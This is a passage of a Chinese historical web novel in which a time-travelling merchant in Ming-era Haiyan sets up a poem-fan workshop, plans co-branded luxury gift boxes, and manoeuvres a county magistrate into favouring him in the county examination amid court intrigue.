这东西平时根本就卖不出去,所以产量一直不大!差不多整个江南的货都在我手里了! 我按你定的价格,一两银子一把,那些进货的连价儿都没还,直接就给分了!” 杨成点点头:“这些扇子只是投石问路的,你要明白,这东西和糖霜不一样。 糖霜的秘方在我手里,别人一时半会儿做不出同等品质的来,可扇子是谁都能做的。 而且制糖行业高度集中,所以我们能和整个行业谈判,成为大明的糖霜总代。 可扇子这个行业,太分散了,也不可能有人授权咱们一个大明诗扇的总代。 现在别人都没反应过来,市场要货要的急,所以让你大赚了一笔。 可等大家反应过来,都开始做这种诗扇的时候,你的优势就荡然无存了。” 刘通张大了嘴,从赚了大钱的狂喜中冷静下来:“这么说,这就是一锤子买卖?” 杨成摇摇头:“我会为了一锤子买卖,费这么大的劲吗? 老刘,你说说看,同样一种商品,人们买这家的,或是买那家的,原因是什么?” 刘通想了想:“那肯定是价格不同呗,一个贵,一个贱,老百姓肯定愿意省钱啊!” 杨成点点头:“此其一也。还有呢?” 刘通毕竟是开过铺子的,生意上十分明白:“再就是质量不同啊,就像咱们的糖霜。 在你出手之前,大明也有糖霜啊!可你的糖霜一出来,之前的糖霜就只配叫白糖了!” 杨成点点头:“此其二也,还有吗?” 刘通挠挠头,想不出来了。杨成笑了笑,这就是小商人的思维惯性,如果是王德福,肯定能想到其三。 “其三,是招牌。为何白鹿山和王德福争宫廷供奉争得头破血流的?就是为了招牌。 即使是同样的糕点,只要有了宫廷供奉这块牌子,身价立刻就不一样了。 所以说,三流的商人卖价格,二流的商人卖质量,一流的商人卖招牌啊。” 刘通连连点头,忽然问道:“那……还有比卖招牌更高端的商人吗?” 杨成点头道:“当然有,顶流的商人卖创意。不过在大明,这一招是行不通的,没有产权保护。” 刘通听不懂啥叫产权保护,不过觉得自己忽然学到了很多东西,忍不住刨根问底儿。 “那,还有跟更高端的商人吗?” 杨成默然片刻:“再往高走,卖的就是人心,就是权力了,那些人,已经不能单纯地称为商人了。 他们翻手为云覆手为雨,视金钱如沙土,视权力如奴仆,视人命如草芥,视礼法如无物。 皇位废立,如同家常便饭;王朝更迭,如同盛宴中歇; 伏尸千里,如同杀牛宰羊;生灵涂炭,如同辞旧迎新。” 第一百一十章 诗扇工坊 刘通张着嘴,感觉自己的人生观完全被颠覆了。 他一直以为,商人除了有钱之外地位低下,甚至还不如普通的老百姓。 可今天杨成告诉他,还有这样毁天灭地的商人,甚至比皇帝,比国家还强大。 如果这话不是杨成说出来的,他一定会滋醒对方。但杨成这样说,他就很信。 杨成看他那副向往的样子,笑道:“别瞎想了,至少眼下大明不会允许这么牛逼的人存在。 咱们还是老老实实的过好自己的日子,保证亲人朋友丰衣足食,不受欺辱,也就不枉此生了。” 刘通连连点头称是,并询问下一步该怎么做。 “我临走前让你去买那片竹林,办妥了吗?” 刘通笑道:“办妥了。那竹林本来也不赚钱。花钱买竹子的人少,偷的人多。 百姓编好的筐子篓子能值几个钱,再花钱买竹子,就没什么赚头了。 地主人原本都想把它铲了种地了,可竹林地下的竹鞭盘根错节,太难铲除了。 所以一听说我要按耕地的价格买那片竹林,把他都要高兴哭了!” 杨成点点头:“你去发个告示:凡海盐百姓,都可到竹林中砍伐竹子,不要钱。 但有几条规矩:第一,只能砍竹子,不能挖笋,否则这么多人,竹林难以为继。 第二,凡是林中有紫竹和湘妃竹,都不许砍,再到外地购买这两种竹子的竹鞭加大种植。 第三,凡是去砍竹子的,每拿走一根,就要帮我们砍一根,砍成我们要求的小段儿。 这样一来,糖霜工坊里用的竹炭原料,就不用杨家湾单独去砍了,省下人工,还有事儿做。” 刘通连连点头,拿出个小本本来一一记录,免得忘记。 “手头的扇子出完后,让海盐百姓皆可做诗扇。但有一条,不能粗制滥造,要比现在市场上的好。 我在京城已经把海盐诗扇的名头打出去了,只要做工精细,不愁没有销路。” 刘通愣了一下:“这……全海盐都做诗扇,那量可就起来了,诗扇会不会一下变得不值钱了?” 杨成淡然道:“诗扇只是个噱头,人人都能做。但海盐诗扇的招牌已经打出去了。 诗扇最终会降价,但利润仍然会比其他地方的要高,让百姓在耕种之余有点收入,补贴过活。” 刘通点点头:“那咱们怎么办?诗扇是你的主意,好处难道就都让给海盐百姓了?” 杨成笑了笑:“咱们只做最高端的,只用紫竹和湘妃竹两种,这两种竹子最有诗意。 要用最好的绸绢,最精细的做工,扇柄上一律烧上‘海盐杨记’的字样。 售价至少是普通海盐诗扇的十倍,是外地所造诗扇的一百倍!而且只涨价,不降价。” 刘通目瞪口呆:“这么贵,会有人买吗?这东西毕竟只是扇子啊!” 杨成笃定地点点头:“会的。而且杨记诗扇每一批只出一千把,想要的提前交钱排队。 扇子分为空白款和带诗款,带诗款的比空白款再贵十倍,且只有买够十把普通款的客户,才有资格预定。” 刘通越听心里越打鼓,只觉得这完全颠覆了他做生意的理念,但他也不敢反驳,只是挥笔如风的记录。 “诗扇工坊的位置,就在现在糖霜工坊前面,老族长已经带着人开始动工了。 这是细致活儿,我请了两个制作扇子的老工匠,开了十倍的工钱,让他们教授工人。 工人以年轻女子为主,主要是便于宣传,杨家湾的人手不够,刘家湾的人优先! 这个工坊,我想让秀儿管理,所以这事儿还得和你商量商量。” 刘通一挥手,十分爽快:“这有什么可商量的,我替秀儿做主了,就这么办! 对了,秀儿呢?这些日子一直住在你这儿了,不知道想不想回去住几天?” 话音未落,秀儿从侧房门口走出来,一把诗扇遮住下半边脸,只露出红红的眼睛。 “舅舅,我跟你回去。杨大哥有大娘子了,自然该大娘子管事儿的,我管算怎么回事儿?” 说着,她有意地扇了扇扇子,展示着上面的“人生若只如初见”。 你若是和李香儿先成了,我也不说什么,凭什么一个后来的,反而成了大娘子呢? 杨成苦笑着看着秀儿:“秀儿,她自然有她要管的事儿,可诗扇这件事儿,本就是起于你我相逢的。 若没有你,我也想不起做这诗扇来。如今我在京城夸下海口,说绣这扇子的女子嫁给我了。 这场戏咱们还得接着往下演啊,否则让人知道绣诗扇的姑娘跑了,这诗扇可就不值钱了。 你就算不在乎我,也得在乎你舅舅啊。你也不想你舅舅的生意失败,倾家荡产吧?” 刘通赶紧说道:“不错不错,秀儿,别闹小孩子脾气,这可是咱家的生死存亡啊!” 秀儿没想到杨成在京城竟然说自己嫁给他了,顿时脸上通红,赶紧用扇子挡得更严实了。 声音也有些发抖,不似刚才那般委屈,倒是有些娇柔的意味。 “那……那我就帮你再演一段时间。是演戏啊!我可没答应什么要嫁给你……” 杨成连连点头:“没错,是演戏,是演戏,人生如戏,一切都是为了咱们的生意嘛!” 秀儿咬着嘴唇道:“我都是诗扇工坊的管理人了,到现在还不知道这下半句诗是什么呢。 听说你在京城宣传诗扇时,已经把诗都写完了,还不赶紧说给我听,让我抓心挠肝的!” 杨成笑了笑,缓缓走向秀儿,两步一句,脚步踩在地上,就像踩在秀儿的心上一样。 “人生若只如初见,何事秋风悲画扇。等闲变却故人心,却道故人心易变。” 四句诗,八步,每靠近一步,秀儿都觉得自己的腿软了一份。 八步走完,刚好站在秀儿的面前。杨成小声说道。 “其实这诗还有四句呢,我跟谁也没说,有空我瞧瞧告诉你……” 秀儿红着脸,心里早已没有了怨气,似笑非笑地用眼角扫了杨成一下,刚要开口。 就听见一声惨叫:“我就知道,我都听说了!杨成,你太不讲究了! 这么出风头的事儿,你自己独吞了!枉费我把表妹都让给你了!” 第一百一十一章 联名款 杨成被吓了一跳,回过头,真看见跪地崩溃,仰天长啸的刘子业。 看他那副模样,就像他被夺走的不是装X出风头的机会,而是他的贞操一样。 秀儿本来很红的脸变得更红了,就像一只九成熟的螃蟹,使劲跺了跺脚。 “表哥,你胡说什么呢?什么叫你让给他的?谁要你让!” 秀儿转身跑了,刘子业无动于衷,依旧涕泪横流,怨气冲天。 刘通又恼又怕,想抽刘子业,马车又不在身边,够不着马鞭子,只得拳脚相加。 “我让你胡说八道,我让你口无遮拦,我让你出风头没够……” 只有杨成最了解刘子业,他知道刘子业此时心里确实很难受,非常人所能理解。 他制止了刘通的家暴,蹲下身子,抓起刘子业的衣袖,帮他擦了擦脸上的眼泪和鼻涕。 “没错,这次是我不对。我答应过你,这种出风头的事儿,尽量安排你去做。 而且这件事的上半场,你完成的非常好。诗扇之事能如此顺利,你居功至伟。 但这最后一击,至关重要,你还差点火候。面对蓝玉那样的人,生死攸关。 如果你露出一点胆怯来,后面再装X的时候,效果就会大打折扣。所以你还要继续磨炼。 等你何时能面对生死,都面不改色时,你就成了。我保证到时一切出风头的事儿都归你。” 刘子业抬起脸来,情绪渐渐平静下来。他重重地点了点头,表示自己明白了。 不就是面对生死面不改色吗?如果奖赏是可以装最狠的×,生死又算得了什么呢? 哄走了刘子业之后,杨成刚想喘口气,又一辆马车飞奔而至。 王德福一跳下马车,就像球一样滚向正房,边滚便发出哈哈大笑。 “杨兄弟,成了,成了呀!咱们的桂花斋重新拿到了朝廷供奉了! 我去宫外谢恩时,御膳房的公公跟我说了,说是马皇后亲自吩咐的! 兄弟,不用说我也知道,这是得你之力啊。从糖霜开始,到京城的广告,再到入宫。 没有你,桂花斋就没有翻身之日。别的老哥就不多说了,以后有什么事儿,出钱出力,绝不含糊!” 杨成笑了笑:“正有事儿要找你商量呢。把你桂花斋最高端的点心,分量减少一半儿,价钱翻一倍。” 王德福愣住了:“这……这会不会砸牌子啊,咱们的招牌刚刚东山再起,可别弄砸了。” 杨成摇摇头:“你那最高端的点心,都是卖给达官显贵的,他们不在乎多吃几口,少吃几口。 礼盒打造得更精细些,空出来的那一半空间,放一把杨记诗扇,这是咱们的联名款。” 诗扇作坊在老族长的率领下,进展很快。这作坊要比糖霜作坊简单多了。 做扇子,不用什么高端设备,只要有几个小火炉,用来烘烤竹子就行了。 剩下的就是一些桌子,篾刀,剪刀一类的精细工具了,这些活自然是铁匠杨雄包办。 铁匠现在越来越忙了,除了儿子杨牛帮忙外,又收了几个徒弟。 按照杨成的建议,徒弟没都从杨家湾收,而是收了几个要好村庄的孩子。 杨成解释说,杨家湾的工坊,以后会越来越多,村里人早晚会不够用的。 而从白鹿山到秦强,这几次斗争中,海盐各村联合行动,渐渐找回了当年杨家军的感觉。 亲戚越走越近,不管多好的感情基础,一定要用频繁的互动来维系。 让其他村的人来杨家湾做工、学徒,就是维系感情的方式。毕竟天底下感情升温最快的方法就是钱。 但想来杨家湾做工并不是容易事,如同当初一样,老族长要先进行政审,查祖宗三代。 例如小白囤,因为是白鹿山的老家,就被拉入了进杨家湾做工学徒的黑名单。 小白囤当初在杨成闹事儿时,也有一部分人出面力挺过,这部分人,杨成都给了财物。 但他不会让小白囤的人来杨家湾做工,因为他知道,自己靠宗族的力量办成了事儿,别人也能。 白鹿山再坏,也是小白囤的骄傲,也是为小白囤修桥补路过的,一大半人都是倾向他的。 那些之前支持自己的人,在小白囤宗族势力的压力下,未必就不会发生变化。 人要感恩,但不能天真,若是得了人家几分恩惠便掏心掏肺的,只会死在江湖路上,成不了大佬。 眼看诗扇工坊开建顺利,秀儿也忙碌起来,天天盘账,计算物料,培训工人,没空再反酸了。 杨成边抽出空来,特意换了身新衣服,提了桂花斋送来的高档点心盒子,带上小黑,到李正家登门拜访。 因为没有狗替班,所以小黑平时在糖霜工坊都是24247的工作制,相比起来,后世的996根本就不算个啥。 今天黑心老板杨成大发善心,带它回家探亲,小黑乐得狂摇尾巴,一张酷似恶狼的狗脸上满是谄媚。 到了李正家门口,小黑汪汪两声,门内立刻传来了应和声,饱含着惊喜、焦急和疑问。 “小黑?儿子,是你吗?” “娘,是我,小黑啊!” “你咋回来了?家没看好,让人退货了?我就说那人不靠谱……” “不是啊娘,我干得很好,大王说很快就会提拔我了呢……” 听不懂狗话的杨成抬手敲门,哗啦一声,门被拉开了,李香儿手里端着一碗糙米,正在喂院子里的鸡。 小黑立刻冲进去,找到自己的狗娘,咬着尾巴,嗅着鼻子,十分亲热。 李香儿见是杨成,脸色立刻就板起来了,把碗里的米往地下一扬,转身就走。 农家喂鸡,那米是一点点洒的,而且会故意撒得到处都是,其原因有二。 一是因为农家院里都有会些蚂蚱、蜈蚣之类的小虫儿,米是主食,引导鸡吃点菜,可以省粮食。 二是因为鸡在院子里,就像写字楼里的白领一样,运动量不足,容易亚健康。 所以把米撒得分散一点,让鸡为了吃米四处奔走,就像给白领配备健身房一样,防止猝死。 可能有人会觉得胡扯,现代养鸡场,那鸡一只挨着一只,也都活得好好的啊! 杨成有个朋友,就是开养鸡场的,他说现代养鸡场的鸡,全靠药物盯着,而且百分百有心脏病。 养鸡场一定要远离公路,远离村庄,因为过年放个鞭炮,甚至路过的大车爆个胎,就能吓死几百上千只鸡…… 所以李香儿把米随手一扬的做法十分败家,引发了从屋里走出来的李正娘子的非议。 “死丫头,有你这么喂鸡的吗?这点活都干不好,以后到婆家不得被骂死?” 然后李正娘子才看见杨成,笑道:“成子来了啊,这丫头怎么这么无礼,快进来坐吧。” 李正从正房中踱步出来:“迎你那天,人太多了,我便没去。听说你娶了大娘子了。 既是祖辈指腹为婚,那自然是该做大娘子的,便是别人问我,我也是这么说。” 李正的声音很大,似乎有意让院子里的某人听见自己的观点。 杨成笑了笑:“李叔,你想当童生不想?” 第一百一十二章 考童生 童生?李正愣了一下,随即叹了口气。 他都快四十岁的人了,也苦读诗书多年,到现在连个童生都没考上,实在让人丧气。 之前他还怨天怨地,埋怨上天无眼,考官不公,皇上取消科举,后来也就慢慢躺平了。 好在他近水楼台,杨家湾里没有读书人,他也算是鸡窝里的野鸡了,稳稳占据村塾先生之位。 杨家湾又是大村,顽童甚多,且比起其他地方,日子还算过得去,束脩拖欠也不严重。 因此李正家的日子过得也还不错,比起其他穷困潦倒,沿街卖字的穷酸要好得多。 李正曾经真的以为人生就这样了,平静的心不会再起浪潮。 可杨成这一句“你想当童生不想”,瞬间让他鬼迷心窍,又觉得春风再美也比不上科举的好。 他叹了口气:“童生,童生是那么好考的吗?你看除了县城那两家学院,百十个村加起来有几个童生?” 杨成微微一笑,手一甩,潇洒地打开了手中的折扇,还骚包的扇了两下。 李正漫不经心地看了一眼,漫不经心地说道:“字写得还行,略显柔软,笔锋不够硬……” 然后他的眼睛忽然睁大了,一把抢过扇子,手指着后面的落款和印章,哆嗦得像鸡爪疯。 “太太太太,太太,太子?当朝太子写的?” 杨成点点头:“你看,太子勉励我好学不倦呢。咱们村儿里,配得上这四个字的,也就咱俩了。” 李正的脑海中闪过杨成在村塾里打架斗殴,敲诈勒索,调戏送饭的李香儿等画面,又看了看扇子,违心地点点头。 “虽有太子殿下勉励,可科举既要靠实力,又要靠运气,你缺实力,我缺运气,奈何?” 杨成笑道:“正叔,这数月以来,我勤奋读书,已经不缺实力了。 我沾了太子的运气,你沾了我的运气,也已经不缺运气了,不要说那等丧气话。” 李正差点翻了个白眼儿,我苦读十几年,才敢说不缺实力,你勤奋读书几个月就敢说这话? “借贤侄吉言,既如此,过几日便是县试,我与你一同去试试便是了。” 反正也不搭什么,就在本县考试,也不用跋山涉水,试试就试试呗,万一中了呢。 杨成正色道:“既如此,我们就要拿出备考的态度来。从今日起,我便和正叔一同温习课业,如何?” 李正看了看杨成,知道这小子动机不纯,可看看太子题字的扇子,又觉得这运气确实要沾光一下。 童生啊,我梦寐以求的童生啊,难道不值得我为之付出一点点的代价吗? “也好,一同温书,也可互相切磋,取长补短。” 杨成面露难色:“按理,本该请正叔到我家奉茶温课的,但正叔你是知道的。 我家里如今有大娘子了,还有个秀儿客居于此,我娘也是孀居,不甚方便。” 李正心说,你话都这么说了,我要再坚持去你家,未免显得太过猥琐。 “无妨,我家虽不如你家轩敞,但也是有书房的,你我挑灯夜读,甚是方便。” 杨成笑道:“那就恭敬不如从命了,今日我收拾书箱,晚间便来与正叔挑灯夜读。” 杨成领着小黑走了,李香儿才走出屋来。她在屋里听得清清楚楚,此时瞪着父亲。 “爹,你做什么叫他来咱家里?那就是个无赖,也不知路上做了什么,就领了个不清不白的女人回来!” 李正诧异道:“他领不领女人回来,与你何干?你这几天就像吃错了药一样,何其暴躁?” 李香儿被父亲噎得无话可说,一脚踢飞了一只到她绣花鞋上来啄米的鸡。 而此时,县衙中的郭纲内心也同样暴躁,但表面上却毕恭毕敬,因为面前之人的身份比他高太多了。 大明户部侍郎,堂堂的正三品,比起郭纲的正七品,超出两倍还带拐弯儿的。 大明开国以来,从未派出过这么高级别的官员出部差,可见此次杨成捅的篓子有多大。 自杨成手持大诰,抓捕秦强,上京告御状后,被派往东吴各地催税的户部官员人人自危。 东吴百姓也受到了鼓舞,纷纷表示:皇上要税,我们给税,但我们也不是随便谁都可以来税的! 皇上要税我们没办法,但你们这些贪官污吏要私下加税,我们凭什么给你们税? 税完了你们是痛快了,我们怎么办?孩子还不是我们自己养,你们会管吗? 你们只会在税完我们之后,把你们自己的孩子送出国去学唱歌,却把我们踩在脚下,世世代代让你们税! 因此各地百姓,眼睛瞪得像铜铃,盯着交税时的每个细节。 刮尺不合规范,被折断了。戥子缺斤短两,被砸了。淋斛踢斗太狠,被踢了。 各地的书坊都被人挤破了头,纷纷要求购买《大诰》,那是真正的书无店砸。 问题是这些事儿,被地方官按照老经验报到朝廷后,朝廷的反应却是史无前例的。 奉天承运,咱告诉你们:百姓反贪污是对的,税钱都是朕的,那是朕的钱! 朕已经说了,要统一全国量具规范,不合理的规范当然要毁掉! 淋斛踢斗,踢下来的粮食是进国库还是你们自己卖了?查查历年账簿便可。 如果确实是进了国库,那老百姓踢税吏就是刁民闹事,地方官可以打。 但如果没进国库怎么办?你们禁得起查吗?所以还是老实点,尽快收税为主! 至于书无店砸一事,其罪在礼部!亦在书坊!而不在百姓! 朕写的书,礼部凭什么不给量?书坊凭什么不给推荐位?当朕是扑街吗? 以上当然是翻译过来的,朱元璋再没文化,圣旨也不可能写成这样。 被训斥得晕头转向的户部和礼部,不敢耽误征税,又要做出姿态,便做出了高级别的动作。 户部侍郎王道亨,带着一个不方便透露姓名的礼部侍郎,一起出了部差。 从京城出发,一路向南,安抚各地百姓,宣扬朝廷理念,挽回两部形象,确保税收顺利。 作为这次事件的始作俑者,海盐自然是要被重点照顾的。所以只在盐城呆了一天,两位侍郎就匆匆赶到了海盐。 礼部侍郎寒暄几句,就说自己累了,先回驿站休息。县衙后堂里就只剩下王道亨和郭纲了。 王道亨也不废话,直接掏出了一封信:“郭知县,这是你的老朋友,吏部郎中高定托我带给你的信。” 第一百一十三章 难为人 郭纲听见高定的名字,心里就是一颤,但随即自我安慰,也许只是巧合,可能是公务。 其实他心里明白,公务都该是发公函的,哪有写私信的道理?更不可能让其他部的部差给捎信! 看完信后,郭纲整个人都傻了,如同泥塑木雕一般,坐在椅子上一动不动。 见此反应,王道亨知道成了,郭纲从此后,就是靠山会捏在手中的棋子了。 并非所有官吏,都有高定那么好的心理素质,能跟靠山会讨价还价的。 “郭知县,你之前摇摆不定,先吃着白鹿山,后吃着杨成,当着青天大老爷。 这些我不怪你,因为人不为己天诛地灭嘛。可今后,你却得选一头儿了。 我也不逼你,你要选杨成,以后尽管给他方便,那咱们就是仇敌。 你若选我们,等你这一任知县干满,高定自会给你的卓异考评,而我们也不会让你缺了钱花。 杨成虽有钱,可他一心在海盐县养望,花钱的地方也多着呢,未必能给你花多少吧?” 郭纲毫不犹豫,立刻表态:“大人看得起下官,下官受宠若惊,今后赴汤蹈火,在所不辞!” 王道亨满意地笑了:“倒也不必赴汤蹈火,你还做你的青天大老爷便是。 甚至连杨成的钱,你都可以继续花着。但等我们收拾杨成的时候,你该知道怎么做。” 郭纲连连点头,待送走王道亨后,才满腹愁肠地回到官邸后院儿。 屁股还没坐稳呢,前面就传来了牛师爷的笑声:“呦,杨公子,稀客啊,今日怎么有空来访?” 郭纲一愣,杨成确实是稀客,虽然现在是他的背后金主,但极少登门。 两人都像幕后棋手一样,各自操纵着一个白手套儿,平时交易都是通过刘通和牛师爷。 莫非是杨成听到了王道亨来的消息,心有所感,跑来找自己探底来了? 可自己刚答应王道亨,从此以后效忠靠山会,对杨成虚与委蛇,伺机协助他们下手。 现在马上要面对杨成,心里还真有点不是滋味,也不知道自己的演技能不能瞒过杨成,那可不是个好骗的主儿。 正犹豫间,听杨成说有事儿要找郭县尊商议,郭纲整了整衣装,漫步踱入后堂。 私下见面,杨成当然不会给郭纲行什么大礼,两人互相拱手,落座看茶。 “杨公子今日光临县衙,有什么要事?之前不是说过你我轻易不要私下往来的吗?” 杨成笑道:“正是有事。再过几日,便是县试之期了,我有意下场应考,还请县尊大人指点一二。” 郭纲一愣,他倒真么想到杨成是为了此事。但转念一想,也觉得合情合理。 连白鹿山发财之后,第一件让自己办的事儿,都是让他儿子考上童生。 可见商人有再多钱,也还是羡慕读书人的,那份尊荣不是钱能代替的。 作为知县,如果考生的水平不是太差劲,给个童生一般是不出了什么大事儿的。 可以说,在科举的所有环节中,县试考童生,是唯一可以作弊且后果不特别严重的环节了。 但这里面的风险也不小:首先考生的卷子不能太差,必须得文理清通,没有违禁字样。 其次考生不能在考棚里作弊,因为答卷时不是一个人监考,而是衙役、学官、知县共同监考的。 如果要想在考棚里打小抄而不被抓,那除非是三方监考人员都被买通了,这风险就极高了。 万一有一方犯了事儿,没禁住审,拔出萝卜带出泥来,大家都是重罪难逃。 第三是作弊人至少是学官,最好是知县,因为这俩人中,学官判卷在前,知县判卷在后。 如果作弊人是学官,他可以把卷子放入童生候选人的一堆儿里,提交上去。 如果没有特别差的,知县一般也不会太驳了学官的面子,毕竟都是同事。 但这方法并不保准,因为如果知县要亲自安排几个名额,就可能会把学官提交的名单挤掉几个下去。 而如果作弊人是知县,他不但可以在学官推荐的卷子里选,还有权在落卷中选。 所以如果知县肯作弊,那基本上是万无一失的。触发成功概率比学官要高得多。 按理说杨成作为目前的第一金主,提出这样的要求,并不算过分,但郭纲很犹豫。 第一是王道亨刚让自己昨晚选择,自己回头就给杨成一个童生身份,打脸来得太快了。 虽然他允许自己暂时和杨成虚与委蛇,但童生这事儿可不是虚的,那是实打实的好处。 这就像男人允许女朋友穿吊带儿上街给大家看,但不能允许大家上手摸是一个道理。 第二是知县作弊给童生这事儿,最怕的就是考生本身啥也不是,那是找死。 朝廷不会派人来查童生是怎么炼成的,但童生万一去考府试,一下子就会露底! 考童生时作弊,可以提前给题,找枪手做文章,然后背熟默写,糊弄过关。 但府视时,除非知府也跟着作弊,否则这一招就行不通了,全靠现场发挥。 如果文章写得一塌糊涂,根本达不到童生的水平,知府就很可能调取当初中童生时的卷子。 两篇文章一比,傻子都能看出不是一个人写的,那这个考生就完了,作弊,无需其他证据! 不但考生完了,当初给考生作保的秀才们也晚了,取中考生的知县也完了。 当初给了白飞金一个童生,是因为白飞金的水平确实说得过去,达到了童生水平。 当然,达到童生水平,和能考上童生,这之间还有巨大的运气成分呢,例如杨家湾的李正。 但至少郭纲给白飞金一个童生,并没有什么大的风险,而白飞金后来能中秀才,也证明了这一点。 可杨成这家伙,听说从小就是村霸,不爱学习,自己真给了他童生,风险太大了。 因此郭纲委婉劝道:“杨老弟,三百六十行,行行出状元,以你如今的身份地位,何必执着于科举呢?” 杨成叹了口气:“本来也不执着的,奈何太子勉励,谆谆教诲,在下实在是不敢有负天恩啊。” 说完,潇洒的一甩,打开折扇,露出了朱标的题字。 第一百一十四章 第二封信 郭纲的眼睛顿时睁大了,他双手捧过扇子,翻来覆去地看了好几遍,确定这是真迹。 今年来,朱元璋让朱标分担政务,很多奏折都由朱标来批示。 虽然按规矩,最后都是朱元璋签字确认,但朱标的字百官经常能见到,甚至比朱元璋的还熟悉。 就算郭纲不能准确鉴定真假,他也知道这字儿绝对假不了,因为后面有朱标的私章。 除非杨成明天就要起兵造反,否则打死他,他也不敢伪造太子的签名儿和私章! 现在问题一下子就变复杂了。太子勉励他“好学不倦”,这是对他有科举上的期许啊! 他有没有本事考上秀才是其次,自己作为知县,连个童生都卡着不给,太子会怎么想? 可问题是,如果这小子真的不学无术,自己给了童生,后患无穷啊! 倒是知府倒查下来,自己怎么说?说是太子写了把扇子,所以自己就作弊了? 那不是找死吗?太子肯定会说,我送我的扇子,跟你作弊有什么关系?你谄媚还有理了? 别说自己没法和太子掰扯,就是自己豁出去掰扯,以皇上的性格,肯定也会吹黑哨儿! 到最后,倒霉的肯定还是自己啊。科举舞弊,罪同谋反啊! 既然这边左右为难,那自己干脆就不摇摆了吧,反正按王道亨的说法,杨成也快完蛋了。 郭纲摇摆不定的心做出了选择,他板起脸来,正义凛然,连音域都宽了八度。 “杨成,你知不知道你在要求本官什么?科举作弊!你难道不知,科举作弊罪同谋反吗? 本官虽与你有些交情,但不过是君子之交。你怎可提出如此荒谬的要求来……” 此时,在外面守门的牛师爷匆匆而入,手里拿着一封信,伏在郭纲的耳边轻声说道。 “老爷,京中急信,是高定的心腹亲自骑马送来的,像做贼一样,放下信就跑了。” 郭纲心里一跳,迅速拆开信封,打开信笺,却见上面的笔迹明显是用左手所写。 “郭老弟,我做事向来讲规矩。此次我被人算计,连累于你,虽非所愿,也无可奈何。 前面的信乃被逼所写,这封信才是心里话。你阅后即焚,就是不烧我也不会承认是我所写。 靠山会长不了,他们看似树大根深,盘根错节,一呼百应,稳固无比。 可那不过是空中楼阁,砂聚之塔,越是庞大,倒塌时就越快! 他们仰仗于智计权谋,手握百官行述,自以为能欺上瞒下,相互配合,手脚干净,不留证据。 可他们得意忘形,忘了皇上是何等样人!查无实据这一套,或许等太子登基后管用。 可在皇上眼中,证据不过是可有可无之物。有了当然可以杀人,没有一样可以杀人! 皇上不知道靠山会的存在吗?就算之前不知道,这次秦强被杨成锁拿进京,声势何等浩大? 以皇上多疑之心,又怎会毫无察觉?但皇上为何只把秦强剥皮萱草,却未深究? 窃以为是空印案之后,朝中官员死伤太众,皇上难为无米之炊,是以暂且隐忍。 老弟万不可自误,上此贼船,他朝狂风倒厦,巨浪吞舟,悔之晚矣。 求生之道,各有不同,窃以为老弟生路,就在身边,能否把握,尽人事听天命。 因老弟险境因我而起,心有不安,故冒险以告之。言尽于此,各安天命。” 郭纲越看脸色越白,看完后,下意识地要去烧信,才发现天色未晚,还未掌灯呢。 他三把两把把信撕得粉碎,塞给牛师爷:“去烧了,一片纸也不能留下!” 牛师爷领命而去,郭纲直了直身子:“刚才咱们说道哪儿了?” 杨成虽然不知信中所写何事,但也知道对郭纲来说,肯定是个极其重大的消息。 不过郭纲不说,他也不会问。有时过于关心别人的事儿,反而会干扰自己的因果。 “刚才县尊大人说道科举作弊罪同谋反,你我是君子之交,怎能对你提出如此荒谬的……” 郭纲打断杨成:“但以杨老弟之才,何须作弊呢?想来考个童生,必是探囊取物。 本官只是担心杨老弟事务繁忙,未免文笔生疏,不知可否写一两篇文章,让本官看看? 本官虽案牍劳形,但年年主持童生县考,文笔还算过得去,也可为老弟指点一二?” 杨成微微一笑,知道郭纲这是答应了,只是担心自己去府试的时候会露馅儿,连累了他。 杨成也不废话,拿过纸笔来:“如此,请县尊大人赐题。” 郭纲心里一松,想不到杨成还真敢写啊。他最担心的是杨成提前找人写了文章,来糊弄自己。 但此时杨成主动让他出题,自然就不会是提前准备好的,否则有这押题的本事,还用求自己作弊吗? 郭纲出了个不深不浅的题目,杨成略一思索,提笔就写,一挥而就。 郭纲大出意外,拿起文章来看了看,虽然不算优秀,但至少不辣眼睛。 当然这个水平在平时县考,相当童生,那除非是撞了大运,否则很难。 可无论如何,这水平就算是到了府试,也不至于让人认为就是作弊当的童生。 两次的水平又不是天差地别,人的灵感时有时无,人家在县试时发挥得好,不行吗? 郭纲一块石头落地,脸上笑容就更灿烂了,脑子里想着信中所说的话。 求生之路,就在身边。自己身边有谁?整个海盐县,现在最初风头的就是杨成了。 这小子能得太子赐字,太子又是皇上的好大儿,断不会瞒着皇上私下恩养心腹的,所以…… “老弟文采出众,当个童生没问题!不过若要到府试考秀才,本官以为还要再多用用功。” 你最好是弄个童生就拉倒得了,别到府里去找麻烦,虽然风险不大,但总不如没有风险的好。 杨成也不反驳,只是再次微笑拱手:“多谢县尊大人勉励。在下还有个不情之请。 在下的启蒙恩师李正,苦读多年,文运不佳,一直未能得童生之号,不知大人可否也指点一二?” 说完,杨成拿出李正的几篇文章,递给郭纲。 郭纲心中暗骂杨成无耻,当年白鹿山也只是让自己给了一个童生罢了,你还真不见外。 但他也听说过,杨成当初为了偷看人家女儿洗澡,差点被开瓢儿。 如今提出此事,显然是贼心不死,想要挟恩图报,当真是无耻下流。 但他脸上却依旧笑容可掬,待看完几篇文章后,笑得就更从容了。 “此人文法严谨,本官大胆预测,中个童生问题不大。就是去府试,也可试试的。” 杨成目的达到,起身告辞,郭纲在心中反复盘算,终于咬了咬牙。 “老弟,愚兄有话要说!” 第一百一十五章 防守反击 杨成停住脚步,他猜测郭纲要说的话,一定跟刚才的密信有关。 今天郭纲的态度一变再变,十分不寻常,肯定也跟刚才的密信有关。 自己见郭纲的时候很少,但自从白鹿山倒台后,郭纲对他都很客气,带着几分热络。 可今天一见面,虽然看似客气,却有一种疏远感。普通人可能感受不到,但杨成可以。 前世他和官员打交道的时候也不少,同样的客气,是否拿你当自己人,却有种微妙的差异。 自己提出童生之事,按理说他应该仔细考虑得失,或是跟自己探讨可行性。 可他却直接要拒绝,直到那封信的出现,他才一百八十度的大转弯,这绝不合常理。 联想到自己从孙二爷处得到的消息,户部和礼部都派了侍郎级别的部差来了海盐…… 杨成脸上露出如释重负的表情,欣慰地看着郭纲,在他开口之前笑着先开了口。 “看来县尊大人是做出选择了,你就不怕另一边怪罪你吗?” 郭纲大吃一惊,看着杨成高深莫测的表情,心里一阵后怕。 “原来老弟都知道了?实不相瞒,本……愚兄确实有过动摇。 原本以为白鹿山的靠山,不过是六部中的某个高官,却不料不止一人啊! 愚兄在朝中也是有些人脉的,可与这些人一比,实力上相差太多啊。 今日户部侍郎王道亨,代表那些人来找我,他们最近要对付你,还让我配合他们。 